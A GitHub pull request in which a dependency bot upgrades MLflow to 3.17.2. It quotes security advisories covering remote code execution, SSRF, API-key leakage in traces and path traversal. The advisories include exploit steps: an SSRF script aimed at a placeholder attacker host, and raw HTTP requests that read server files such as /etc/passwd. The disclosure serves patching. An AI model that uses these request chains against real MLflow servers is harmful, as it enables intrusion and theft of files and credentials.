Skip to content

chore(deps): update dependency mlflow to v3.17.2 [security] - #120

Merged
rhartuv merged 2 commits into
mainfrom
konflux/mintmaker/main/pypi-mlflow-vulnerability
Nov 2, 2026
Merged

rhartuv merged 2 commits into
mainfrom
konflux/mintmaker/main/pypi-mlflow-vulnerability

Conversation

@red-hat-konflux-kflux-prd-rh02

@red-hat-konflux-kflux-prd-rh02 red-hat-konflux-kflux-prd-rh02 Bot commented Oct 24, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
mlflow 3.16.0 → 3.17.2 age confidence

MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules

CVE-2026-116692 / GHSA-26p8-2jq9-3vq9

More information

Details

Summary

MLflow 3.12.0 introduced registration and deserialization support for third-party scorers in OSS MLflow. During scorer deserialization, the server accepts a request-controlled Python module path beneath one of four allowed package prefixes, imports that module, obtains a request-controlled class, and instantiates it synchronously.

An HTTP caller can combine this behavior with MLflow's built-in experiment, run, and artifact-upload endpoints:

  1. Create an experiment whose local artifact location points to a writable allowed scorer package.
  2. Create a run, causing MLflow to allocate <artifact_location>/<run_id>/artifacts/.
  3. Upload a Python module into that run artifact directory.
  4. Submit a serialized third-party scorer whose module path resolves to the uploaded file.
  5. Trigger server-side import and class construction through /ajax-api/3.0/mlflow/scorer/invoke.

On the default no-auth server using the official MLflow v3.14.0 image, this produces unauthenticated arbitrary Python code execution with the privileges of the MLflow server process. The reproduced image runs the process as uid 0 and permits writes to its installed Python package tree.

The attached proof of concept is intentionally harmless. The uploaded constructor performs one action only: it writes a random marker beside its own uploaded run artifact. The marker is then downloaded through MLflow's run-artifact endpoint and checked for an exact match.

Technical details
1. The allow-list accepts attacker-created descendants

At release commit 86cd7f5a1dc25a1387ad07c87811bbc30f62951c, mlflow/genai/scorers/scorer_utils.py defines these allowed roots:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

In mlflow/genai/scorers/base.py, the deserializer accepts either an exact root or any descendant:

module_path == m or module_path.startswith(m + ".")

It then performs the following operations using request-controlled values:

module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)
scorer_instance = scorer_class(**init_kwargs)

A package-name prefix is not a provenance boundary. If the server process can write below an allowed package, an attacker-created descendant can satisfy the string-prefix check and become importable Python code.

Relevant source locations at the v3.14.0 release commit:

  • mlflow/genai/scorers/scorer_utils.py, allowed third-party scorer modules
  • mlflow/genai/scorers/base.py, third-party scorer deserialization and construction
2. Deserialization occurs before trace processing

In mlflow/server/handlers.py, _invoke_scorer_handler() parses the supplied serialized scorer and calls:

scorer = Scorer.model_validate_json(serialized_scorer)

Only after deserialization and construction does the handler call:

batches = get_trace_batches_for_scorer(trace_ids, scorer, tracking_store)

The attacker-controlled constructor therefore runs before the server validates or resolves the supplied trace IDs.

The minimal proof class is deliberately not a complete MLflow scorer. After its constructor writes the marker, later trace-batching logic accesses scorer attributes that the proof class does not implement. The resulting HTTP 500 occurs after code execution and does not invalidate the proof.

No background job execution or special job-execution server option is required to reach the constructor.

3. MLflow's artifact layout places the module under the trusted prefix

The experiment creation endpoint accepts an artifact_location. For file-backed experiments, MLflow derives each run artifact directory as:

<artifact_location>/<run_id>/artifacts/

The proof of concept selects this package directory in the official v3.14.0 image:

file:///usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens

After creating a run and uploading audit_<token>.py, the resulting filesystem location is:

/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/<run_id>/artifacts/audit_<token>.py

The corresponding import path is:

mlflow.genai.scorers.trulens.<run_id>.artifacts.audit_<token>

The attack does not overwrite an existing package module. It creates a new run-scoped module in the normal file-backed artifact layout. The run ID is returned to the caller.

4. Authentication and authorization behavior

With authentication disabled, as in the default reproduced server configuration, no credentials are required.

When MLflow basic authentication is enabled, authentication still applies. However, the scorer-invocation AJAX endpoint is assigned to validate_gateway_proxy, which returns True without performing an experiment- or scorer-level resource permission check.

Practical exploitation in an authenticated deployment still requires the caller to create an experiment and run and upload artifacts to them. The key authorization issue is that scorer deserialization itself is not gated by a resource-specific permission check for the supplied experiment before the import occurs.

Proof of concept

The attached reproduction is intentionally isolated:

  • exact official MLflow v3.14.0 image pinned by manifest digest;
  • Docker network disabled;
  • MLflow bound to container loopback;
  • no shell command or external callback;
  • no external request;
  • no host filesystem write;
  • marker created beside the uploaded run artifact;
  • marker retrieved through the run-artifact download endpoint; and
  • disposable container removed after completion.

Run:

./run-official-image.sh

Expected output:

MLFLOW_VERSION=3.14.0
PACKAGE_DIR=/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens
CREATE_EXPERIMENT_STATUS=200
CREATE_RUN_STATUS=200
UPLOAD_STATUS=200
INVOKE_STATUS=500
PROOF_DOWNLOAD_STATUS=200
PROOF_MATCH=1
RESULT=AFFECTED

The security-relevant result is:

PROOF_MATCH=1
RESULT=AFFECTED

This proves that the attacker-controlled constructor executed in the MLflow server process before the later scorer-processing failure.

Reproduction environment
  • Release: MLflow v3.14.0
  • Release commit: 86cd7f5a1dc25a1387ad07c87811bbc30f62951c
  • Official image: ghcr.io/mlflow/mlflow:v3.14.0
  • Manifest digest: sha256:967de3ca34b6a5751718e380a0a383eb0ce1a6f5b484f363bd0da7559117a5f8
  • Python version: 3.10.18
  • Image-configured user: empty
  • Observed runtime user: uid 0
  • Server bind: 127.0.0.1:5000
  • Container network: disabled
  • Backend store: sqlite:////work/mlflow.db
  • Default artifact root: /work/artifacts
  • Authentication: disabled
  • Special job-execution option: none

Server command inside the disposable container:

mlflow server \
  --host 127.0.0.1 \
  --port 5000 \
  --backend-store-uri sqlite:////work/mlflow.db \
  --default-artifact-root /work/artifacts
Affected range and source lineage

The vulnerable third-party scorer deserialization behavior was introduced by commit:

02eea26035b9d8e65af31e6e8f058ca195f62cdd
Enable third-party scorer registration in OSS MLflow (#&#8203;22634)

The feature is absent from v3.11.1 and first appears in v3.12.0.

Runtime reproduction succeeds on v3.14.0. The relevant mlflow/genai/scorers/base.py content is unchanged at master commit:

20858c9426a9644dfcf9545a92cbb534376779eb

No fixed release was identified as of 2026-07-12.

Impact

On the reproduced stock no-auth image, any network caller who can reach the tracking server can execute Python code as the MLflow process without credentials or user interaction.

Successful exploitation provides confidentiality, integrity, and availability impact over all data, credentials, network access, and filesystem locations available to the MLflow server process.

The stock image's runtime uid 0 increases container-level impact. Host impact still depends on the container runtime configuration, mounted paths, granted capabilities, socket exposure, and other isolation controls.

In authentication-enabled deployments, exploitation requires an authenticated principal capable of creating an experiment and run and uploading artifacts. The exact chain also requires the server process to be able to write beneath one of the allowed scorer packages. This condition holds in the reproduced official image and may hold in virtual environments installed and run by the same operating-system user.

A read-only container filesystem or a scorer package directory owned by a different, non-writable user blocks this exact placement chain.

Artifacts and attachments
Remote proof-of-concept script

POC Script: new_remote_poc.py

The remote proof of concept was then executed as follows. The disposable machine’s public IP has been redacted:

python3 new_remote_poc.py \
  --target http://<REDACTED_PUBLIC_IP> \
  --package-dir /usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens \
  --acknowledge-owned-target I_OWN_THIS_TARGET

The complete sanitized output was:

TARGET=http://<REDACTED_PUBLIC_IP>
VERSION_STATUS=200
MLFLOW_VERSION=3.14.0
CREATE_EXPERIMENT_STATUS=200
EXPERIMENT_ID=2
CREATE_RUN_STATUS=200
RUN_ID=9a2d665eb38940b68983f0586f623115
UPLOAD_STATUS=200
IMPORT_PATH=mlflow.genai.scorers.trulens.9a2d665eb38940b68983f0586f623115.artifacts.audit_1783843760683972103
INVOKE_STATUS=500
INVOKE_RESPONSE_PREVIEW='<!doctype html>\n<html lang=en>\n<title>500 Internal Server Error</title>\n<h1>Internal Server Error</h1>\n<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>\n'
PROOF_DOWNLOAD_STATUS=200
EXPECTED_MARKER_SHA256=7a423b479df3524567fdf8cc3e7f6c4bfccc577fbcc4bac9519db8bd1cc61ed5
PROOF_MATCH=1
SERVER_CLEANUP_PATH=/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/9a2d665eb38940b68983f0586f623115
PROOF_OUTPUT_BEGIN
{
  "cwd": "/",
  "machine": "x86_64",
  "marker": "MLFLOW_REMOTE_SAFE_MARKER_1783843760683972103",
  "os_release": "PRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"11\"\nVERSION=\"11 (bullseye)\"\nVERSION_CODENAME=bullseye\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n",
  "platform": "Linux-7.0.0-1006-aws-x86_64-with-glibc2.31",
  "python_implementation": "CPython",
  "python_version": "3.10.18",
  "server_datetime_utc": "2026-07-12T08:09:43.555055+00:00",
  "whoami": "root",
  "whoami_returncode": 0,
  "whoami_stderr": ""
}
PROOF_OUTPUT_END
RESULT=AFFECTED
EXPERIMENT_METADATA_CLEANUP_STATUS=200
CLEANUP_NOTE=discard the temporary test instance or remove SERVER_CLEANUP_PATH on the owned host

The proof file was also verified directly inside the disposable container:

cat /usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/9a2d665eb38940b68983f0586f623115/artifacts/execution-proof-1783843760683972103.json

The file contained:

{
  "cwd": "/",
  "machine": "x86_64",
  "marker": "MLFLOW_REMOTE_SAFE_MARKER_1783843760683972103",
  "os_release": "PRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"11\"\nVERSION=\"11 (bullseye)\"\nVERSION_CODENAME=bullseye\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n",
  "platform": "Linux-7.0.0-1006-aws-x86_64-with-glibc2.31",
  "python_implementation": "CPython",
  "python_version": "3.10.18",
  "server_datetime_utc": "2026-07-12T08:09:43.555055+00:00",
  "whoami": "root",
  "whoami_returncode": 0,
  "whoami_stderr": ""
}

The results demonstrate that:

  • the attacker-controlled module was uploaded beneath an allowed scorer package;
  • MLflow imported the request-selected module and invoked its constructor;
  • the constructor executed as the MLflow server process, which ran as root in the reproduced official image;
  • the constructor created a server-side proof file containing a random marker and bounded runtime information;
  • the proof file was retrieved successfully through MLflow’s artifact-download endpoint; and
  • the later HTTP 500 occurred only after constructor execution.

The authoritative reproduction indicators are:

UPLOAD_STATUS=200
PROOF_DOWNLOAD_STATUS=200
PROOF_MATCH=1
RESULT=AFFECTED

The disposable cloud machine and container were removed after testing.

Local Reproduction Scripts:
run-official-image.sh
poc_local.py

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

BIT-mlflow-2026-115886 / CVE-2026-115886 / GHSA-2wqp-q3c6-ccj5

More information

Details

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

##### 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

##### 2. Attack: invoke a reflected trulens scorer whose kwargs point the

#####    outbound LLM client at the attacker host with an attacker-chosen
#####    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously

##### Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


MLflow CrewAI autologging records LLM provider API keys in logged trace spans

CVE-2026-116691 / GHSA-j7qq-vr8c-xvw3

More information

Details

Summary

mlflow.crewai.autolog() leaks CrewAI LLM provider API keys into MLflow trace telemetry.

When a CrewAI Agent is instrumented with MLflow autologging, MLflow serializes the agent's __dict__ and converts its fields to strings. The llm field contains the CrewAI LLM object, whose string representation includes its api_key in plaintext.

As a result, an application that calls mlflow.crewai.autolog() can unintentionally send its LLM provider API key to the MLflow trace backend or configured OTLP destination.

The application does not need to explicitly log the credential or place it in a span attribute. The credential is extracted automatically by MLflow's instrumentation.

This was verified on MLflow 3.16.0 with CrewAI 1.15.18 using MLflow's own OTLP exporter. The fake credential appeared in 5 attribute locations across 2 spans.

Details

The primary issue is in:

mlflow/crewai/autolog.py::_get_agent_attributes()

The function walks the CrewAI Agent.__dict__ and converts agent fields to strings. tools and embedder receive special handling, but credential-bearing objects such as the following are not sanitized:

  • llm
  • function_calling_llm
  • agent_executor
  • crew

For example, agent.llm is a CrewAI LLM object. In CrewAI 1.15.18, the underlying LLM model contains api_key as a normal field. Its string representation therefore contains the credential:

llm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-...' ...

MLflow subsequently stores this string as a span attribute.

There is an important indication that this is an unintended disclosure: MLflow's dedicated LLM attribute extraction already explicitly excludes api_key in _get_llm_attributes(). The LLM span therefore does not expose the credential, while the broader Agent __dict__ serialization bypasses that protection.

There is also a second, independent serialization path in:

mlflow/crewai/autolog.py::_construct_full_inputs()

This code uses:

v.__dict__ if hasattr(v, "__dict__") else v

on call arguments. During CrewAI execution, the Agent object is passed as an argument, causing its __dict__ to be expanded and the credential-bearing LLM object to be included in mlflow.spanInputs.

Therefore, there are two independent leakage paths:

  1. Agent span attributes through _get_agent_attributes()
  2. Span inputs through _construct_full_inputs()

Fixing only the Agent attribute serialization would leave the mlflow.spanInputs path vulnerable.

A safer approach would be to avoid recursively serializing arbitrary object __dict__ values. Agent telemetry should use an explicit allowlist of non-sensitive scalar fields, and credential-bearing objects such as llm, function_calling_llm, agent_executor, and crew should either be reduced to safe metadata or omitted.

Similarly, _construct_full_inputs() should not automatically expand arbitrary objects through __dict__, or the resulting values should pass through the same sanitization mechanism before being attached to a span.

PoC

Environment:

MLflow: 3.16.0
CrewAI: 1.15.18
Python: 3.12.3
opentelemetry-exporter-otlp-proto-http: 1.42.1
1. Direct serialization proof

The following demonstrates the vulnerability without starting a Crew, making a network request, or requiring an MLflow server:

import importlib
from crewai import LLM, Agent

autolog = importlib.import_module("mlflow.crewai.autolog")

llm = LLM(
    model="gpt-4.1-mini",
    api_key="sk-proj-EXAMPLE1234567890",
)

agent = Agent(
    role="r",
    goal="g",
    backstory="b",
    llm=llm,
)

attrs = autolog._get_agent_attributes(agent)

assert "sk-proj-EXAMPLE1234567890" in attrs["llm"]

print(attrs["llm"])

The output contains the API key in plaintext, for example:

llm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-EXAMPLE1234567890' ...

No provider request is required.

2. End-to-end trace disclosure

The issue can also be reproduced through MLflow's actual OTLP exporter.

Configure a local OTLP HTTP receiver and set:

export OTEL_EXPORTER_OTLP_TRACES_ENDPOINT=http://127.0.0.1:4318/v1/traces
export OTEL_EXPORTER_OTLP_TRACES_PROTOCOL=http/protobuf
export CREWAI_DISABLE_TELEMETRY=true

Then run:

import mlflow

from crewai import Agent, Crew, LLM, Task

mlflow.crewai.autolog()

llm = LLM(
    model="gpt-4.1-mini",
    api_key="sk-proj-EXAMPLE1234567890",
)

agent = Agent(
    role="Support Responder",
    goal="Answer support questions",
    backstory="A support agent",
    llm=llm,
)

task = Task(
    description="Answer the user's question",
    expected_output="A response",
    agent=agent,
)

crew = Crew(
    agents=[agent],
    tasks=[task],
)

crew.kickoff()

A local OTLP receiver can decode the ExportTraceServiceRequest sent by MLflow.

The provider request is expected to fail because the credential is intentionally fake. This does not affect the vulnerability: the sensitive value is added to the MLflow span when the instrumentation starts, before the provider call succeeds or fails.

In the tested environment, the fake API key appeared in the exported telemetry in 5 locations across 2 spans, including:

Support Responder
  attributes.llm
  attributes.function_calling_llm
  attributes.agent_executor
  attributes.mlflow.spanInputs

Task.execute_sync
  attributes.mlflow.spanInputs

The captured value is produced by MLflow's actual telemetry/export path rather than being manually inserted into a span.

All credentials used in the reproduction are locally generated fake values. No real API credential is required.

Impact

Type: Sensitive Information Disclosure / Credential Disclosure
CWE: CWE-532 — Insertion of Sensitive Information into Log File

Any application using mlflow.crewai.autolog() with a CrewAI LLM configured with an API key can unintentionally disclose that credential through MLflow traces.

The credential is written to trace telemetry even though the application does not explicitly log it.

Anyone with access to the MLflow trace storage or configured OTLP destination may therefore obtain the provider credential. Depending on the deployment, this can include MLflow users, observability operators, or third-party telemetry providers.

The leaked credential can then potentially be used against the corresponding LLM provider account, including for unauthorized API usage and associated costs.

The issue is particularly significant because the credential crosses a trust boundary: a provider API key intended for use by the application is automatically copied into observability telemetry where a broader set of users or systems may have access.

The vulnerability does not require the developer to intentionally log the secret. The only relevant prerequisite is enabling the CrewAI autologging integration.

Patches

Fixed in MLflow 3.17.0 by #​25845. mlflow.crewai.autolog() now reduces CrewAI LLM objects to their model name and drops credential-like keys before they are written to span attributes or mlflow.spanInputs.

Remediation
  • Upgrade to mlflow>=3.17.0.
  • Upgrading stops new leakage but does not remove credentials already written. Rotate any LLM provider key that a CrewAI LLM object held (for example one passed as LLM(api_key=...)) while mlflow.crewai.autolog() was enabled on MLflow 2.19.0 through 3.16.x.
  • Delete or redact the affected traces in the MLflow tracking backend and in any OTLP destination they were exported to. The key appears in Agent and Crew span attributes and in mlflow.spanInputs.
Workarounds

If you cannot upgrade yet, disable CrewAI autologging with mlflow.crewai.autolog(disable=True).

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source

CVE-2026-116690 / GHSA-m65p-9j7q-6w33

More information

Details

Summary

On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.

The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.

Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.

Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.

Details

When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().

mlflow/server/handlers.py:2674-2690:

is_prompt = _is_prompt_request(request_message)
if is_prompt:
    source = request_message.source
    parsed = urllib.parse.urlparse(source)
    if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
        raise MlflowException(...)
    if parsed.scheme:
        _validate_non_local_source_contains_relative_paths(source)
else:
    if request_message.model_id:
        _validate_source_model(request_message.source, request_message.model_id)
    else:
        _validate_source_run(request_message.source, request_message.run_id)

The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.

The artifact-read sink later trusts the stored source:

mlflow/server/handlers.py:2765-2782:

def get_model_version_artifact_handler():
    name = request.args.get("name")
    version = request.args.get("version")
    path = request.args["path"]
    path = validate_path_is_safe(path)
    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
    ...
    else:
        artifact_repo = get_artifact_repository(artifact_uri)
        artifact_path = path

    return _send_artifact(artifact_repo, artifact_path)

_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().

PoC

Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.

  1. Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
  1. Send the following requests to the MLflow server to exploit the traversal:

First, create a registered model:

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}

Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}

Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:

GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000

This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).

Impact

Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:

  • /etc/passwd
  • SQLite tracking databases readable by the process (e.g., mlflow-auth.db or basic_auth.db)
  • Environment variables or configurations stored on disk
  • /home/user/.bash_history

Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


MLflow FileStore trace IDs allow path traversal and arbitrary file writes

BIT-mlflow-2026-53995 / CVE-2026-53995 / GHSA-wqmh-qccw-pqwf

More information

Details

MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

mlflow/mlflow (mlflow)

v3.17.2

Compare Source

MLflow 3.17.2 is a patch release that contains a minor feature enhancement and bug fixes.

Features:

Bug fixes:

  • [Tracking] Reseed sampler and forward batch settings on MlflowSparkStudy executors (#​26714, @​iyashk)
  • [Tracking] Fix MlflowStorage marking Optuna trials finished before their values are saved (#​26713, @​iyashk)

v3.17.1

Compare Source

MLflow 3.17.1 is a patch release that contains some minor feature enhancements, bug fixes, and documentation updates.

Features:

  • [Docs / Evaluation] Support Decision API in make_judge() (#​26578, @​B-Step62)
  • [Evaluation] Add mlflow.genai.databricks.review_queues for managing review queues on Databricks (#​26414, @​harupy)

Bug fixes:

Small bug fixes and documentation updates:

#​26680, @​joshuawong-db; #​26584, @​copilot-swe-agent; #​26705, @​kriscon-db

v3.17.0

Compare Source

MLflow 3.17.0 includes several major features and improvements.

Major New Features

Database upgrade: SQL-backed servers require a coordinated schema upgrade with all writers stopped and a restorable backup, even when daily rollups remain disabled. Run mlflow db upgrade <database-url> before restarting all replicas on the new MLflow version. Mixed-version rolling upgrades are not supported. Follow the database upgrade instructions.

Other Assorted Features & Improvements:

Bug fixes:

✂ Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

To execute skipped test pipelines write comment /ok-to-test.


Documentation

Find out how to configure dependency updates in MintMaker documentation or see all available configuration options in Renovate documentation.

@red-hat-konflux-kflux-prd-rh02
red-hat-konflux-kflux-prd-rh02 Bot force-pushed the konflux/mintmaker/main/pypi-mlflow-vulnerability branch from 038c594 to fc62ac4 Compare November 1, 2026 12:02
Signed-off-by: red-hat-konflux-kflux-prd-rh02 <190377777+red-hat-konflux-kflux-prd-rh02[bot]@users.noreply.github.com>
@red-hat-konflux-kflux-prd-rh02
red-hat-konflux-kflux-prd-rh02 Bot force-pushed the konflux/mintmaker/main/pypi-mlflow-vulnerability branch from fc62ac4 to c6cf4fa Compare November 1, 2026 16:02
@red-hat-konflux-kflux-prd-rh02

Copy link
Copy Markdown
Contributor Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@rhartuv
rhartuv merged commit c22ab5f into main Nov 2, 2026
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

